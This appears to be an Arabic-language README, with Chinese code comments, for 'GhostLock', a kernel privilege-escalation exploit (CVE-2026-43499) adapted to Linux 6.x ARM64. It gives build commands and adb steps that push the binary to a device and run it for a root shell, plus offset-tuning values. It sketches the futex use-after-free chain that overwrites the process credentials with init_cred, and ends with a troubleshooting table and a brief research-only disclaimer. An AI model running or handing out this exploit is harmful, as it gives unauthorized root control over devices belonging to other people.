
تكييف GhostLock (CVE-2026-43499) لبيئة Linux 6.x ARM64 غير المخصصة لنظام Android
استغلال لرفع الصلاحيات عبر GhostLock (CVE-2026-43499) يستهدف أنوية Linux 6.x ARM64 غير التابعة لنظام Android.
| البند | القيمة |
|---|---|
| البنية | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| إصدار النواة | 6.x |
| SELinux | لا يوجد |
| ashmem | لا يوجد |
| configfs | لا يوجد |
make
make android-arm64 NDK=/path/to/android-ndk
يتم تشغيل البناء تلقائيًا بعد الدفع (push)؛ ما عليك سوى تنزيل الـ artifact.
# 推送到目标设备
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# 获取 root shell
adb shell /data/local/tmp/e --shell
# 调整 pselect 偏移 (如果默认值不工作)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# 指定物理加载地址
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
| المتغير | القيمة الافتراضية | الوصف |
|---|---|---|
PSELECT_SHIFT | -2 | ضبط إزاحة waiter الخاص بـ pselect على المكدس |
KPHYS | 0x80000000 | عنوان التحميل الفيزيائي للنواة |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | العنوان الافتراضي الأساسي للنواة |
FUTEX_CMP_REQUEUE_PI يُطلق استغلال استخدام بعد التحرير (UAF) في remove_waiter()rt_mutex_waiter المحرَّر في المخزن stack_fds المؤقتtask_struct->cred بـ init_credهذا الإصدار نسخة مبسّطة من ghostlock-oneplus:
| العَرَض | السبب المحتمل | الحل |
|---|---|---|
| إعادة تشغيل الجهاز | قيمة PSELECT_SHIFT غير صحيحة | جرّب كل قيمة من -4 إلى +4 بالتتابع |
| لا تأثير | قيمة KPHYS غير صحيحة | تحقق من القيمة الصحيحة في /proc/iomem |
| perf_event_open failed | قيود seccomp | جرّب التشغيل عبر ADB shell |
| لا يوجد root | عدم تطابق الإزاحات | تحقق من إصدار النواة وافحص TASK_CRED_OFF |
هذه الأداة مخصصة لأغراض البحث الأمني فقط. يتحمل المستخدم المسؤولية الكاملة عن استخدامها.